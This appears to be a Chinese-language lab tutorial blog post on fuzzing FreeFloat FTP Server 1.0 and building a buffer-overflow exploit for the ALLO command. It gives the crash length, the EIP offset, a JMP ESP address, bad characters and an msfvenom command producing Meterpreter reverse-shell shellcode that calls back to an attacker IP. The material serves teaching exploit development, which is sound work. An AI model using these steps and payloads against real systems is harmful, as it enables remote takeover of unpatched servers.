zoukankan      html  css  js  c++  java
  • Fuzzing FreeFloatFTPserver1.0与漏洞利用

    Fuzzing FreeFloatFTPserver1.0与漏洞利用

    目录

    ☛ 1.漏洞介绍

    • 软件名称:FreeFloatFTPserver1.0
    • 漏洞介绍:多个FTP通信指令存在远程溢出漏洞
    • 关于FTP协议:每一个FTP指令发送之后,FTP服务器都会返回一个字符串,其中包括一个返回代码和一串说明信息
    • 常用FTP指令:由于FTP协议的固定性,所以我们可以对FTP服务器模拟发送FTP命令进行模糊测试,从而挖掘一些漏洞

    ☛ 2.模糊测试,测试溢出

    1.使用15PB-FTP-Fuzzer模糊测试

    • 通过更改Fuzzing粒度Fuzzing速度测试模式等,在使用一些配置如下图时,造成溢出
    • Fuzz溢出截图
    • 测试得到的poc:poc = "ALLO" + 'x41'*302

    ☛ 3.模糊测试,寻找返回EIP位置

    1.生成poc长度的唯一字符串组成的字符串,使用 Kali 中的工具

    />cd /usr/share/metasploit-framework/tools/exploit
    />./pattern_create.rb -l 302 #生成字符串长度

    2.修改 py 脚本测试

    • OD附加调试
    • 运行攻击脚本

      />python 02.py

    ☛ 4.模糊测试,测试EIP

    1.测试EIP位置步骤

    • 转换EIP中的字符:EIP = 0x41326941 -> Ai2A

    • 使用pattern_offset.rb求字符串所在偏移

      />./pattern_offset.rb -q Ai2A

    • 在偏移246处

    • 运行 py 脚本确认溢出点
      payload = "x41"*246 + "x42"*4 + "x41"*(302-246-4)

    ☛ 5.模糊测试,寻找payload启动地址

    1.测试前面 246 字节 payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1" + "\x42"*4 + "\x41"*(302-246-4)
    2.测试 ESP 指向的空间 payload = "\x41"*246 + "\x42"*4 + "\x43"*500
    3.测试 ESP 指向空间的大小 payload = "\x41"*246 + "\x42"*4 + "\x43"*8 + "\x44"*500

    • "x44"*500 即为 ESP 指向的空间

    ☛ 6.寻找跳板指令并测试(使用系统为 xp sp3)

    1.使用ImmunityDebugger寻找跳板指令JMP ESP

    />!mona modules
    />!mona find -s "xffxe4" -m OLEACC.dll

    • 0x7d7d77d0 => xd0X77X7dX7d 2.运行 05.py

    ☛ 7.测试获取坏字符

    1.构造0xFF~0x00字符串,测试坏字符,再构造Shellcode时避免这些字符串,防止截断

    • Dadchar:\x0D\x0A\x00

    ☛ 8.使用 metaspliot 生成 Shellcode 完成利用

    1.工具:msfvenom
    常用参数:

    -p :指定 payload 类型
    LHOST :指定IP地址(kaliIP地址)
    LPORT :指定端口(4444)
    -f :指定生成 shellcode 类型
    -o :指定输出文件路径
    -b :指定坏字符(生成时避免产生坏字符)
    -l :查看参数对应支持的具体数据
    

    2.生成 Shellcode 命令:

    />msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.9 LPORT=4444 -b "x00x0dx0a" -f python

    3.将生成的 shellcode 放到07.py

    ☛ 9.漏洞利用

    1.先打开msfconsole 然后运行 07.py

    2.漏洞利用效果

    ☛ 10.总结

    • 模糊测试一种非常好的漏洞挖掘的方法,但这种方法的有效性在于对协议要了解,本节分析 的 FTP 服务器涉及的 FPT 协议相对有规律,所以模糊测试成功不错。 Metasploit 中的 payload 非常丰富,是漏洞利用过程中不可或缺的利器

    ☛ 完成时间:2018-10-26 15:02:46 星期五

    <wiz_tmp_tag id="wiz-table-range-border" contenteditable="false" style="display: none;">





  • 相关阅读:
    图解CSS3----1-关系选择器
    HTML5----热区(在图片img上第一超链接选区)
    Javascript----练习二(运算符)
    Javascript----练习一(变量)
    PHP表单
    maven
    Docker
    PHP字符串
    面向对象思想的核心概念
    虚方法
  • 原文地址:https://www.cnblogs.com/Get-Me/p/072e0130105decb8b2b43e40409d7744.html
Copyright © 2011-2022 走看看